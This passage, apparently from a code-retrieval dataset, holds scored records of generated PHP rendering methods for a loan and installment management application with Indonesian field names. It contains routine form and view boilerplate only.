Convert decimal values if posted back\n\t\tif ($this->bayartitipanauto->FormValue == $this->bayartitipanauto->CurrentValue && is_numeric(ew_StrToFloat($this->bayartitipanauto->CurrentValue)))\n\t\t\t$this->bayartitipanauto->CurrentValue = ew_StrToFloat($this->bayartitipanauto->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->totalbayar->FormValue == $this->totalbayar->CurrentValue && is_numeric(ew_StrToFloat($this->totalbayar->CurrentValue)))\n\t\t\t$this->totalbayar->CurrentValue = ew_StrToFloat($this->totalbayar->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->totalbayarauto->FormValue == $this->totalbayarauto->CurrentValue && is_numeric(ew_StrToFloat($this->totalbayarauto->CurrentValue)))\n\t\t\t$this->totalbayarauto->CurrentValue = ew_StrToFloat($this->totalbayarauto->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->pelunasan->FormValue == $this->pelunasan->CurrentValue && is_numeric(ew_StrToFloat($this->pelunasan->CurrentValue)))\n\t\t\t$this->pelunasan->CurrentValue = ew_StrToFloat($this->pelunasan->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->pelunasanauto->FormValue == $this->pelunasanauto->CurrentValue && is_numeric(ew_StrToFloat($this->pelunasanauto->CurrentValue)))\n\t\t\t$this->pelunasanauto->CurrentValue = ew_StrToFloat($this->pelunasanauto->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->finalty->FormValue == $this->finalty->CurrentValue && is_numeric(ew_StrToFloat($this->finalty->CurrentValue)))\n\t\t\t$this->finalty->CurrentValue = ew_StrToFloat($this->finalty->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->finaltyauto->FormValue == $this->finaltyauto->CurrentValue && is_numeric(ew_StrToFloat($this->finaltyauto->CurrentValue)))\n\t\t\t$this->finaltyauto->CurrentValue = ew_StrToFloat($this->finaltyauto->CurrentValue);\n\n\t\t// Call Row_Rendering event\n\t\t$this->Row_Rendering();\n\n\t\t// Common render codes for all row types\n\t\t// tanggal\n\t\t// periode\n\t\t// id\n\t\t// transaksi\n\t\t// referensi\n\t\t// anggota\n\t\t// namaanggota\n\t\t// alamat\n\t\t// pekerjaan\n\t\t// telepon\n\t\t// hp\n\t\t// fax\n\t\t// email\n\t\t// website\n\t\t// jenisanggota\n\t\t// model\n\t\t// jenispinjaman\n\t\t// jenisbunga\n\t\t// angsuran\n\t\t// masaangsuran\n\t\t// jatuhtempo\n\t\t// terlambat\n\t\t// dispensasidenda\n\t\t// plafond\n\t\t// angsuranpokok\n\t\t// angsuranpokokauto\n\t\t// angsuranbunga\n\t\t// angsuranbungaauto\n\t\t// denda\n\t\t// dendapersen\n\t\t// totalangsuran\n\t\t// totalangsuranauto\n\t\t// sisaangsuran\n\t\t// sisaangsuranauto\n\t\t// saldotitipan\n\t\t// saldotitipansisa\n\t\t// bayarpokok\n\t\t// bayarpokokauto\n\t\t// bayarbunga\n\t\t// bayarbungaauto\n\t\t// bayardenda\n\t\t// bayardendaauto\n\t\t// bayartitipan\n\t\t// bayartitipanauto\n\t\t// totalbayar\n\t\t// totalbayarauto\n\t\t// pelunasan\n\t\t// pelunasanauto\n\t\t// finalty\n\t\t// finaltyauto\n\t\t// terbilang\n\t\t// petugas\n\t\t// pembayaran\n\t\t// bank\n\t\t// atasnama\n\t\t// tipe\n\t\t// kantor\n\t\t// keterangan\n\t\t// active\n\t\t// ip\n\t\t// status\n\t\t// user\n\t\t// created\n\t\t// modified\n\n\t\tif ($this->RowType == EW_ROWTYPE_VIEW) { // View row\n\n\t\t// tanggal\n\t\t$this->tanggal->ViewValue = $this->tanggal->CurrentValue;\n\t\t$this->tanggal->ViewValue = ew_FormatDateTime($this->tanggal->ViewValue, 0);\n\t\t$this->tanggal->ViewCustomAttributes = \"\";\n\n\t\t// periode\n\t\t$this->periode->ViewValue = $this->periode->CurrentValue;\n\t\t$this->periode->ViewCustomAttributes = \"\";\n\n\t\t// id\n\t\t$this->id->ViewValue = $this->id->CurrentValue;\n\t\t$this->id->ViewCustomAttributes = \"\";\n\n\t\t// transaksi\n\t\t$this->transaksi->ViewValue = $this->transaksi->CurrentValue;\n\t\t$this->transaksi->ViewCustomAttributes = \"\";\n\n\t\t// referensi\n\t\t$this->referensi->ViewValue = $this->referensi->CurrentValue;\n\t\t$this->referensi->ViewCustomAttributes = \"\";\n\n\t\t// anggota\n\t\t$this->anggota->ViewValue = $this->anggota->CurrentValue;\n\t\t$this->anggota->ViewCustomAttributes = \"\";\n\n\t\t// namaanggota\n\t\t$this->namaanggota->ViewValue = $this->namaanggota->CurrentValue;\n\t\t$this->namaanggota->ViewCustomAttributes = \"\";\n\n\t\t// alamat\n\t\t$this->alamat->ViewValue = $this->alamat->CurrentValue;\n\t\t$this->alamat->ViewCustomAttributes = \"\";\n\n\t\t// pekerjaan\n\t\t$this->pekerjaan->ViewValue = $this->pekerjaan->CurrentValue;\n\t\t$this->pekerjaan->ViewCustomAttributes = \"\";\n\n\t\t// telepon\n\t\t$this->telepon->ViewValue = $this->telepon->CurrentValue;\n\t\t$this->telepon->ViewCustomAttributes = \"\";\n\n\t\t// hp\n\t\t$this->hp->ViewValue = $this->hp->CurrentValue;\n\t\t$this->hp->ViewCustomAttributes = \"\";\n\n\t\t// fax\n\t\t$this->fax->ViewValue = $this->fax->CurrentValue;\n\t\t$this->fax->ViewCustomAttributes = \"\";\n\n\t\t// email\n\t\t$this->_email->ViewValue = $this->_email->CurrentValue;\n\t\t$this->_email->ViewCustomAttributes = \"\";\n\n\t\t// website\n\t\t$this->website->ViewValue = $this->website->CurrentValue;\n\t\t$this->website->ViewCustomAttributes = \"\";\n\n\t\t// jenisanggota\n\t\t$this->jenisanggota->ViewValue = $this->jenisanggota->CurrentValue;\n\t\t$this->jenisanggota->ViewCustomAttributes = \"\";\n\n\t\t// model\n\t\t$this->model->ViewValue = $this->model->CurrentValue;\n\t\t$this->model->ViewCustomAttributes = \"\";\n\n\t\t// jenispinjaman\n\t\t$this->jenispinjaman->ViewValue = $this->jenispinjaman->CurrentValue;\n\t\t$this->jenispinjaman->ViewCustomAttributes = \"\";\n\n\t\t// jenisbunga\n\t\t$this->jenisbunga->ViewValue = $this->jenisbunga->CurrentValue;\n\t\t$this->jenisbunga->ViewCustomAttributes = \"\";\n\n\t\t// angsuran\n\t\t$this->angsuran->ViewValue = $this->angsuran->CurrentValue;\n\t\t$this->angsuran->ViewCustomAttributes = \"\";\n\n\t\t// masaangsuran\n\t\t$this->masaangsuran->ViewValue = $this->masaangsuran->CurrentValue;\n\t\t$this->masaangsuran->ViewCustomAttributes = \"\";\n\n\t\t// jatuhtempo\n\t\t$this->jatuhtempo->ViewValue = $this->jatuhtempo->CurrentValue;\n\t\t$this->jatuhtempo->ViewValue = ew_FormatDateTime($this->jatuhtempo->ViewValue, 0);\n\t\t$this->jatuhtempo->ViewCustomAttributes = \"\";\n\n\t\t// terlambat\n\t\t$this->terlambat->ViewValue = $this->terlambat->CurrentValue;\n\t\t$this->terlambat->ViewCustomAttributes = \"\";\n\n\t\t// dispensasidenda\n\t\t$this->dispensasidenda->ViewValue = $this->dispensasidenda->CurrentValue;\n\t\t$this->dispensasidenda->ViewCustomAttributes = \"\";\n\n\t\t// plafond\n\t\t$this->plafond->ViewValue = $this->plafond->CurrentValue;\n\t\t$this->plafond->ViewCustomAttributes = \"\";\n\n\t\t// angsuranpokok\n\t\t$this->angsuranpokok->ViewValue = $this->angsuranpokok->CurrentValue;\n\t\t$this->angsuranpokok->ViewCustomAttributes = \"\";\n\n\t\t// angsuranpokokauto\n\t\t$this->angsuranpokokauto->ViewValue = $this->angsuranpokokauto->CurrentValue;\n\t\t$this->angsuranpokokauto->ViewCustomAttributes = \"\";\n\n\t\t// angsuranbunga\n\t\t$this->angsuranbunga->ViewValue = $this->angsuranbunga->CurrentValue;\n\t\t$this->angsuranbunga->ViewCustomAttributes = \"\";\n\n\t\t// angsuranbungaauto\n\t\t$this->angsuranbungaauto->ViewValue = $this->angsuranbungaauto->CurrentValue;\n\t\t$this->angsuranbungaauto->ViewCustomAttributes = \"\";\n\n\t\t// denda\n\t\t$this->denda->ViewValue = $this->denda->CurrentValue;\n\t\t$this->denda->ViewCustomAttributes = \"\";\n\n\t\t// dendapersen\n\t\t$this->dendapersen->ViewValue = $this->dendapersen->CurrentValue;\n\t\t$this->dendapersen->ViewCustomAttributes = \"\";\n\n\t\t// totalangsuran\n\t\t$this->totalangsuran->ViewValue = $this->totalangsuran->CurrentValue;\n\t\t$this->totalangsuran->ViewCustomAttributes = \"\";\n\n\t\t// totalangsuranauto\n\t\t$this->totalangsuranauto->ViewValue = $this->totalangsuranauto->CurrentValue;\n\t\t$this->totalangsuranauto->ViewCustomAttributes = \"\";\n\n\t\t// sisaangsuran\n\t\t$this->sisaangsuran->ViewValue = $this->sisaangsuran->CurrentValue;\n\t\t$this->sisaangsuran->ViewCustomAttributes = \"\";\n\n\t\t// sisaangsuranauto\n\t\t$this->sisaangsuranauto->ViewValue = $this->sisaangsuranauto->CurrentValue;\n\t\t$this->sisaangsuranauto->ViewCustomAttributes = \"\";\n\n\t\t// saldotitipan\n\t\t$this->saldotitipan->ViewValue = $this->saldotitipan->CurrentValue;\n\t\t$this->saldotitipan->ViewCustomAttributes = \"\";\n\n\t\t// saldotitipansisa\n\t\t$this->saldotitipansisa->ViewValue = $this->saldotitipansisa->CurrentValue;\n\t\t$this->saldotitipansisa->ViewCustomAttributes = \"\";\n\n\t\t// bayarpokok\n\t\t$this->bayarpokok->ViewValue = $this->bayarpokok->CurrentValue;\n\t\t$this->bayarpokok->ViewCustomAttributes = \"\";\n\n\t\t// bayarpokokauto\n\t\t$this->bayarpokokauto->ViewValue = $this->bayarpokokauto->CurrentValue;\n\t\t$this->bayarpokokauto->ViewCustomAttributes = \"\";\n\n\t\t// bayarbunga\n\t\t$this->bayarbunga->ViewValue = $this->bayarbunga->CurrentValue;\n\t\t$this->bayarbunga->ViewCustomAttributes = \"\";\n\n\t\t// bayarbungaauto\n\t\t$this->bayarbungaauto->ViewValue = $this->bayarbungaauto->CurrentValue;\n\t\t$this->bayarbungaauto->ViewCustomAttributes = \"\";\n\n\t\t// bayardenda\n\t\t$this->bayardenda->ViewValue = $this->bayardenda->CurrentValue;\n\t\t$this->bayardenda->ViewCustomAttributes = \"\";\n\n\t\t// bayardendaauto\n\t\t$this->bayardendaauto->ViewValue = $this->bayardendaauto->CurrentValue;\n\t\t$this->bayardendaauto->ViewCustomAttributes = \"\";\n\n\t\t// bayartitipan\n\t\t$this->bayartitipan->ViewValue = $this->bayartitipan->CurrentValue;\n\t\t$this->bayartitipan->ViewCustomAttributes = \"\";\n\n\t\t// bayartitipanauto\n\t\t$this->bayartitipanauto->ViewValue = $this->bayartitipanauto->CurrentValue;\n\t\t$this->bayartitipanauto->ViewCustomAttributes = \"\";\n\n\t\t// totalbayar\n\t\t$this->totalbayar->ViewValue = $this->totalbayar->CurrentValue;\n\t\t$this->totalbayar->ViewCustomAttributes = \"\";\n\n\t\t// totalbayarauto\n\t\t$this->totalbayarauto->ViewValue = $this->totalbayarauto->CurrentValue;\n\t\t$this->totalbayarauto->ViewCustomAttributes = \"\";\n\n\t\t// pelunasan\n\t\t$this->pelunasan->ViewValue = $this->pelunasan->CurrentValue;\n\t\t$this->pelunasan->ViewCustomAttributes = \"\";\n\n\t\t// pelunasanauto\n\t\t$this->pelunasanauto->ViewValue = $this->pelunasanauto->CurrentValue;\n\t\t$this->pelunasanauto->ViewCustomAttributes = \"\";\n\n\t\t// finalty\n\t\t$this->finalty->ViewValue = $this->finalty->CurrentValue;\n\t\t$this->finalty->ViewCustomAttributes = \"\";\n\n\t\t// finaltyauto\n\t\t$this->finaltyauto->ViewValue = $this->finaltyauto->CurrentValue;\n\t\t$this->finaltyauto->ViewCustomAttributes = \"\";\n\n\t\t// terbilang\n\t\t$this->terbilang->ViewValue = $this->terbilang->CurrentValue;\n\t\t$this->terbilang->ViewCustomAttributes = \"\";\n\n\t\t// petugas\n\t\t$this->petugas->ViewValue = $this->petugas->CurrentValue;\n\t\t$this->petugas->ViewCustomAttributes = \"\";\n\n\t\t// pembayaran\n\t\t$this->pembayaran->ViewValue = $this->pembayaran->CurrentValue;\n\t\t$this->pembayaran->ViewCustomAttributes = \"\";\n\n\t\t// bank\n\t\t$this->bank->ViewValue = $this->bank->CurrentValue;\n\t\t$this->bank->ViewCustomAttributes = \"\";\n\n\t\t// atasnama\n\t\t$this->atasnama->ViewValue = $this->atasnama->CurrentValue;\n\t\t$this->atasnama->ViewCustomAttributes = \"\";\n\n\t\t// tipe\n\t\t$this->tipe->ViewValue = $this->tipe->CurrentValue;\n\t\t$this->tipe->ViewCustomAttributes = \"\";\n\n\t\t// kantor\n\t\t$this->kantor->ViewValue = $this->kantor->CurrentValue;\n\t\t$this->kantor->ViewCustomAttributes = \"\";\n\n\t\t// keterangan\n\t\t$this->keterangan->ViewValue = $this->keterangan->CurrentValue;\n\t\t$this->keterangan->ViewCustomAttributes = \"\";\n\n\t\t// active\n\t\tif (strval($this->active->CurrentValue) <> \"\") {\n\t\t\t$this->active->ViewValue = $this->active->OptionCaption($this->active->CurrentValue);\n\t\t} else {\n\t\t\t$this->active->ViewValue = NULL;\n\t\t}\n\t\t$this->active->ViewCustomAttributes = \"\";\n\n\t\t// ip\n\t\t$this->ip->ViewValue = $this->ip->CurrentValue;\n\t\t$this->ip->ViewCustomAttributes = \"\";\n\n\t\t// status\n\t\t$this->status->ViewValue = $this->status->CurrentValue;\n\t\t$this->status->ViewCustomAttributes = \"\";\n\n\t\t// user\n\t\t$this->user->ViewValue = $this->user->CurrentValue;\n\t\t$this->user->ViewCustomAttributes = \"\";\n\n\t\t// created\n\t\t$this->created->ViewValue = $this->created->CurrentValue;\n\t\t$this->created->ViewValue = ew_FormatDateTime($this->created->ViewValue, 0);\n\t\t$this->created->ViewCustomAttributes = \"\";\n\n\t\t// modified\n\t\t$this->modified->ViewValue = $this->modified->CurrentValue;\n\t\t$this->modified->ViewValue = ew_FormatDateTime($this->modified->ViewValue, 0);\n\t\t$this->modified->ViewCustomAttributes = \"\";\n\n\t\t\t// tanggal\n\t\t\t$this->tanggal->LinkCustomAttributes = \"\";\n\t\t\t$this->tanggal->HrefValue = \"\";\n\t\t\t$this->tanggal->TooltipValue = \"\";\n\n\t\t\t// periode\n\t\t\t$this->periode->LinkCustomAttributes = \"\";\n\t\t\t$this->periode->HrefValue = \"\";\n\t\t\t$this->periode->TooltipValue = \"\";\n\n\t\t\t// id\n\t\t\t$this->id->LinkCustomAttributes = \"\";\n\t\t\t$this->id->HrefValue = \"\";\n\t\t\t$this->id->TooltipValue = \"\";\n\n\t\t\t// transaksi\n\t\t\t$this->transaksi->LinkCustomAttributes = \"\";\n\t\t\t$this->transaksi->HrefValue = \"\";\n\t\t\t$this->transaksi->TooltipValue = \"\";\n\n\t\t\t// referensi\n\t\t\t$this->referensi->LinkCustomAttributes = \"\";\n\t\t\t$this->referensi->HrefValue = \"\";\n\t\t\t$this->referensi->TooltipValue = \"\";\n\n\t\t\t// anggota\n\t\t\t$this->anggota->LinkCustomAttributes = \"\";\n\t\t\t$this->anggota->HrefValue = \"\";\n\t\t\t$this->anggota->TooltipValue = \"\";\n\n\t\t\t// namaanggota\n\t\t\t$this->namaanggota->LinkCustomAttributes = \"\";\n\t\t\t$this->namaanggota->HrefValue = \"\";\n\t\t\t$this->namaanggota->TooltipValue = \"\";\n\n\t\t\t// alamat\n\t\t\t$this->alamat->LinkCustomAttributes = \"\";\n\t\t\t$this->alamat->HrefValue = \"\";\n\t\t\t$this->alamat->TooltipValue = \"\";\n\n\t\t\t// pekerjaan\n\t\t\t$this->pekerjaan->LinkCustomAttributes = \"\";\n\t\t\t$this->pekerjaan->HrefValue = \"\";\n\t\t\t$this->pekerjaan->TooltipValue = \"\";\n\n\t\t\t// telepon\n\t\t\t$this->telepon->LinkCustomAttributes = \"\";\n\t\t\t$this->telepon->HrefValue = \"\";\n\t\t\t$this->telepon->TooltipValue = \"\";\n\n\t\t\t// hp\n\t\t\t$this->hp->LinkCustomAttributes = \"\";\n\t\t\t$this->hp->HrefValue = \"\";\n\t\t\t$this->hp->TooltipValue = \"\";\n\n\t\t\t// fax\n\t\t\t$this->fax->LinkCustomAttributes = \"\";\n\t\t\t$this->fax->HrefValue = \"\";\n\t\t\t$this->fax->TooltipValue = \"\";\n\n\t\t\t// email\n\t\t\t$this->_email->LinkCustomAttributes = \"\";\n\t\t\t$this->_email->HrefValue = \"\";\n\t\t\t$this->_email->TooltipValue = \"\";\n\n\t\t\t// website\n\t\t\t$this->website->LinkCustomAttributes = \"\";\n\t\t\t$this->website->HrefValue = \"\";\n\t\t\t$this->website->TooltipValue = \"\";\n\n\t\t\t// jenisanggota\n\t\t\t$this->jenisanggota->LinkCustomAttributes = \"\";\n\t\t\t$this->jenisanggota->HrefValue = \"\";\n\t\t\t$this->jenisanggota->TooltipValue = \"\";\n\n\t\t\t// model\n\t\t\t$this->model->LinkCustomAttributes = \"\";\n\t\t\t$this->model->HrefValue = \"\";\n\t\t\t$this->model->TooltipValue = \"\";\n\n\t\t\t// jenispinjaman\n\t\t\t$this->jenispinjaman->LinkCustomAttributes = \"\";\n\t\t\t$this->jenispinjaman->HrefValue = \"\";\n\t\t\t$this->jenispinjaman->TooltipValue = \"\";\n\n\t\t\t// jenisbunga\n\t\t\t$this->jenisbunga->LinkCustomAttributes = \"\";\n\t\t\t$this->jenisbunga->HrefValue = \"\";\n\t\t\t$this->jenisbunga->TooltipValue = \"\";\n\n\t\t\t// angsuran\n\t\t\t$this->angsuran->LinkCustomAttributes = \"\";\n\t\t\t$this->angsuran->HrefValue = \"\";\n\t\t\t$this->angsuran->TooltipValue = \"\";\n\n\t\t\t// masaangsuran\n\t\t\t$this->masaangsuran->LinkCustomAttributes = \"\";\n\t\t\t$this->masaangsuran->HrefValue = \"\";\n\t\t\t$this->masaangsuran->TooltipValue = \"\";\n\n\t\t\t// jatuhtempo\n\t\t\t$this->jatuhtempo->LinkCustomAttributes = \"\";\n\t\t\t$this->jatuhtempo->HrefValue = \"\";\n\t\t\t$this->jatuhtempo->TooltipValue = \"\";\n\n\t\t\t// terlambat\n\t\t\t$this->terlambat->LinkCustomAttributes = \"\";\n\t\t\t$this->terlambat->HrefValue = \"\";\n\t\t\t$this->terlambat->TooltipValue = \"\";\n\n\t\t\t// dispensasidenda\n\t\t\t$this->dispensasidenda->LinkCustomAttributes = \"\";\n\t\t\t$this->dispensasidenda->HrefValue = \"\";\n\t\t\t$this->dispensasidenda->TooltipValue = \"\";\n\n\t\t\t// plafond\n\t\t\t$this->plafond->LinkCustomAttributes = \"\";\n\t\t\t$this->plafond->HrefValue = \"\";\n\t\t\t$this->plafond->TooltipValue = \"\";\n\n\t\t\t// angsuranpokok\n\t\t\t$this->angsuranpokok->LinkCustomAttributes = \"\";\n\t\t\t$this->angsuranpokok->HrefValue = \"\";\n\t\t\t$this->angsuranpokok->TooltipValue = \"\";\n\n\t\t\t// angsuranpokokauto\n\t\t\t$this->angsuranpokokauto->LinkCustomAttributes = \"\";\n\t\t\t$this->angsuranpokokauto->HrefValue = \"\";\n\t\t\t$this->angsuranpokokauto->TooltipValue = \"\";\n\n\t\t\t// angsuranbunga\n\t\t\t$this->angsuranbunga->LinkCustomAttributes = \"\";\n\t\t\t$this->angsuranbunga->HrefValue = \"\";\n\t\t\t$this->angsuranbunga->TooltipValue = \"\";\n\n\t\t\t// angsuranbungaauto\n\t\t\t$this->angsuranbungaauto->LinkCustomAttributes = \"\";\n\t\t\t$this->angsuranbungaauto->HrefValue = \"\";\n\t\t\t$this->angsuranbungaauto->TooltipValue = \"\";\n\n\t\t\t// denda\n\t\t\t$this->denda->LinkCustomAttributes = \"\";\n\t\t\t$this->denda->HrefValue = \"\";\n\t\t\t$this->denda->TooltipValue = \"\";\n\n\t\t\t// dendapersen\n\t\t\t$this->dendapersen->LinkCustomAttributes = \"\";\n\t\t\t$this->dendapersen->HrefValue = \"\";\n\t\t\t$this->dendapersen->TooltipValue = \"\";\n\n\t\t\t// totalangsuran\n\t\t\t$this->totalangsuran->LinkCustomAttributes = \"\";\n\t\t\t$this->totalangsuran->HrefValue = \"\";\n\t\t\t$this->totalangsuran->TooltipValue = \"\";\n\n\t\t\t// totalangsuranauto\n\t\t\t$this->totalangsuranauto->LinkCustomAttributes = \"\";\n\t\t\t$this->totalangsuranauto->HrefValue = \"\";\n\t\t\t$this->totalangsuranauto->TooltipValue = \"\";\n\n\t\t\t// sisaangsuran\n\t\t\t$this->sisaangsuran->LinkCustomAttributes = \"\";\n\t\t\t$this->sisaangsuran->HrefValue = \"\";\n\t\t\t$this->sisaangsuran->TooltipValue = \"\";\n\n\t\t\t// sisaangsuranauto\n\t\t\t$this->sisaangsuranauto->LinkCustomAttributes = \"\";\n\t\t\t$this->sisaangsuranauto->HrefValue = \"\";\n\t\t\t$this->sisaangsuranauto->TooltipValue = \"\";\n\n\t\t\t// saldotitipan\n\t\t\t$this->saldotitipan->LinkCustomAttributes = \"\";\n\t\t\t$this->saldotitipan->HrefValue = \"\";\n\t\t\t$this->saldotitipan->TooltipValue = \"\";\n\n\t\t\t// saldotitipansisa\n\t\t\t$this->saldotitipansisa->LinkCustomAttributes = \"\";\n\t\t\t$this->saldotitipansisa->HrefValue = \"\";\n\t\t\t$this->saldotitipansisa->TooltipValue = \"\";\n\n\t\t\t// bayarpokok\n\t\t\t$this->bayarpokok->LinkCustomAttributes = \"\";\n\t\t\t$this->bayarpokok->HrefValue = \"\";\n\t\t\t$this->bayarpokok->TooltipValue = \"\";\n\n\t\t\t// bayarpokokauto\n\t\t\t$this->bayarpokokauto->LinkCustomAttributes = \"\";\n\t\t\t$this->bayarpokokauto->HrefValue = \"\";\n\t\t\t$this->bayarpokokauto->TooltipValue = \"\";\n\n\t\t\t// bayarbunga\n\t\t\t$this->bayarbunga->LinkCustomAttributes = \"\";\n\t\t\t$this->bayarbunga->HrefValue = \"\";\n\t\t\t$this->bayarbunga->TooltipValue = \"\";\n\n\t\t\t// bayarbungaauto\n\t\t\t$this->bayarbungaauto->LinkCustomAttributes = \"\";\n\t\t\t$this->bayarbungaauto->HrefValue = \"\";\n\t\t\t$this->bayarbungaauto->TooltipValue = \"\";\n\n\t\t\t// bayardenda\n\t\t\t$this->bayardenda->LinkCustomAttributes = \"\";\n\t\t\t$this->bayardenda->HrefValue = \"\";\n\t\t\t$this->bayardenda->TooltipValue = \"\";\n\n\t\t\t// bayardendaauto\n\t\t\t$this->bayardendaauto->LinkCustomAttributes = \"\";\n\t\t\t$this->bayardendaauto->HrefValue = \"\";\n\t\t\t$this->bayardendaauto->TooltipValue = \"\";\n\n\t\t\t// bayartitipan\n\t\t\t$this->bayartitipan->LinkCustomAttributes = \"\";\n\t\t\t$this->bayartitipan->HrefValue = \"\";\n\t\t\t$this->bayartitipan->TooltipValue = \"\";\n\n\t\t\t// bayartitipanauto\n\t\t\t$this->bayartitipanauto->LinkCustomAttributes = \"\";\n\t\t\t$this->bayartitipanauto->HrefValue = \"\";\n\t\t\t$this->bayartitipanauto->TooltipValue = \"\";\n\n\t\t\t// totalbayar\n\t\t\t$this->totalbayar->LinkCustomAttributes = \"\";\n\t\t\t$this->totalbayar->HrefValue = \"\";\n\t\t\t$this->totalbayar->TooltipValue = \"\";\n\n\t\t\t// totalbayarauto\n\t\t\t$this->totalbayarauto->LinkCustomAttributes = \"\";\n\t\t\t$this->totalbayarauto->HrefValue = \"\";\n\t\t\t$this->totalbayarauto->TooltipValue = \"\";\n\n\t\t\t// pelunasan\n\t\t\t$this->pelunasan->LinkCustomAttributes = \"\";\n\t\t\t$this->pelunasan->HrefValue = \"\";\n\t\t\t$this->pelunasan->TooltipValue = \"\";\n\n\t\t\t// pelunasanauto\n\t\t\t$this->pelunasanauto->LinkCustomAttributes = \"\";\n\t\t\t$this->pelunasanauto->HrefValue = \"\";\n\t\t\t$this->pelunasanauto->TooltipValue = \"\";\n\n\t\t\t// finalty\n\t\t\t$this->finalty->LinkCustomAttributes = \"\";\n\t\t\t$this->finalty->HrefValue = \"\";\n\t\t\t$this->finalty->TooltipValue = \"\";\n\n\t\t\t// finaltyauto\n\t\t\t$this->finaltyauto->LinkCustomAttributes = \"\";\n\t\t\t$this->finaltyauto->HrefValue = \"\";\n\t\t\t$this->finaltyauto->TooltipValue = \"\";\n\n\t\t\t// terbilang\n\t\t\t$this->terbilang->LinkCustomAttributes = \"\";\n\t\t\t$this->terbilang->HrefValue = \"\";\n\t\t\t$this->terbilang->TooltipValue = \"\";\n\n\t\t\t// petugas\n\t\t\t$this->petugas->LinkCustomAttributes = \"\";\n\t\t\t$this->petugas->HrefValue = \"\";\n\t\t\t$this->petugas->TooltipValue = \"\";\n\n\t\t\t// pembayaran\n\t\t\t$this->pembayaran->LinkCustomAttributes = \"\";\n\t\t\t$this->pembayaran->HrefValue = \"\";\n\t\t\t$this->pembayaran->TooltipValue = \"\";\n\n\t\t\t// bank\n\t\t\t$this->bank->LinkCustomAttributes = \"\";\n\t\t\t$this->bank->HrefValue = \"\";\n\t\t\t$this->bank->TooltipValue = \"\";\n\n\t\t\t// atasnama\n\t\t\t$this->atasnama->LinkCustomAttributes = \"\";\n\t\t\t$this->atasnama->HrefValue = \"\";\n\t\t\t$this->atasnama->TooltipValue = \"\";\n\n\t\t\t// tipe\n\t\t\t$this->tipe->LinkCustomAttributes = \"\";\n\t\t\t$this->tipe->HrefValue = \"\";\n\t\t\t$this->tipe->TooltipValue = \"\";\n\n\t\t\t// kantor\n\t\t\t$this->kantor->LinkCustomAttributes = \"\";\n\t\t\t$this->kantor->HrefValue = \"\";\n\t\t\t$this->kantor->TooltipValue = \"\";\n\n\t\t\t// keterangan\n\t\t\t$this->keterangan->LinkCustomAttributes = \"\";\n\t\t\t$this->keterangan->HrefValue = \"\";\n\t\t\t$this->keterangan->TooltipValue = \"\";\n\n\t\t\t// active\n\t\t\t$this->active->LinkCustomAttributes = \"\";\n\t\t\t$this->active->HrefValue = \"\";\n\t\t\t$this->active->TooltipValue = \"\";\n\n\t\t\t// ip\n\t\t\t$this->ip->LinkCustomAttributes = \"\";\n\t\t\t$this->ip->HrefValue = \"\";\n\t\t\t$this->ip->TooltipValue = \"\";\n\n\t\t\t// status\n\t\t\t$this->status->LinkCustomAttributes = \"\";\n\t\t\t$this->status->HrefValue = \"\";\n\t\t\t$this->status->TooltipValue = \"\";\n\n\t\t\t// user\n\t\t\t$this->user->LinkCustomAttributes = \"\";\n\t\t\t$this->user->HrefValue = \"\";\n\t\t\t$this->user->TooltipValue = \"\";\n\n\t\t\t// created\n\t\t\t$this->created->LinkCustomAttributes = \"\";\n\t\t\t$this->created->HrefValue = \"\";\n\t\t\t$this->created->TooltipValue = \"\";\n\n\t\t\t// modified\n\t\t\t$this->modified->LinkCustomAttributes = \"\";\n\t\t\t$this->modified->HrefValue = \"\";\n\t\t\t$this->modified->TooltipValue = \"\";\n\t\t}\n\n\t\t// Call Row Rendered event\n\t\tif ($this->RowType <> EW_ROWTYPE_AGGREGATEINIT)\n\t\t\t$this->Row_Rendered();\n\t}", "title": "" }, { "docid": "7caa03c1d17e29b4605fd93b2aa9a6f7", "score": "0.6148227", "text": "function display()\n\t{\n\t\tparent::display();\n\n\t\t// display value\n\t\tif ( $this->data['output'] )\n\t\t{\n\t\t\t$this->display_options();\n\t\t}\n\t}", "title": "" }, { "docid": "1f0406bb3732f7b72120668aace5179b", "score": "0.61311376", "text": "function pre_render(&$values) {\n }", "title": "" }, { "docid": "1b9907a72a9d9eb14f80e1578d846ad8", "score": "0.6121363", "text": "public function postDisplay()\n {}", "title": "" }, { "docid": "e41d934f8cfeedbd4b81fecc8d2a97d9", "score": "0.6106621", "text": "function RenderRow() {\n\t\tglobal $Security, $Language, $gsLanguage;\n\n\t\t// Initialize URLs\n\t\t// Convert decimal values if posted back\n\n\t\tif ($this->Pinjaman->FormValue == $this->Pinjaman->CurrentValue && is_numeric(ew_StrToFloat($this->Pinjaman->CurrentValue)))\n\t\t\t$this->Pinjaman->CurrentValue = ew_StrToFloat($this->Pinjaman->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->Angsuran_Bunga_Prosen->FormValue == $this->Angsuran_Bunga_Prosen->CurrentValue && is_numeric(ew_StrToFloat($this->Angsuran_Bunga_Prosen->CurrentValue)))\n\t\t\t$this->Angsuran_Bunga_Prosen->CurrentValue = ew_StrToFloat($this->Angsuran_Bunga_Prosen->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->Angsuran_Denda->FormValue == $this->Angsuran_Denda->CurrentValue && is_numeric(ew_StrToFloat($this->Angsuran_Denda->CurrentValue)))\n\t\t\t$this->Angsuran_Denda->CurrentValue = ew_StrToFloat($this->Angsuran_Denda->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->Angsuran_Pokok->FormValue == $this->Angsuran_Pokok->CurrentValue && is_numeric(ew_StrToFloat($this->Angsuran_Pokok->CurrentValue)))\n\t\t\t$this->Angsuran_Pokok->CurrentValue = ew_StrToFloat($this->Angsuran_Pokok->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->Angsuran_Bunga->FormValue == $this->Angsuran_Bunga->CurrentValue && is_numeric(ew_StrToFloat($this->Angsuran_Bunga->CurrentValue)))\n\t\t\t$this->Angsuran_Bunga->CurrentValue = ew_StrToFloat($this->Angsuran_Bunga->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif 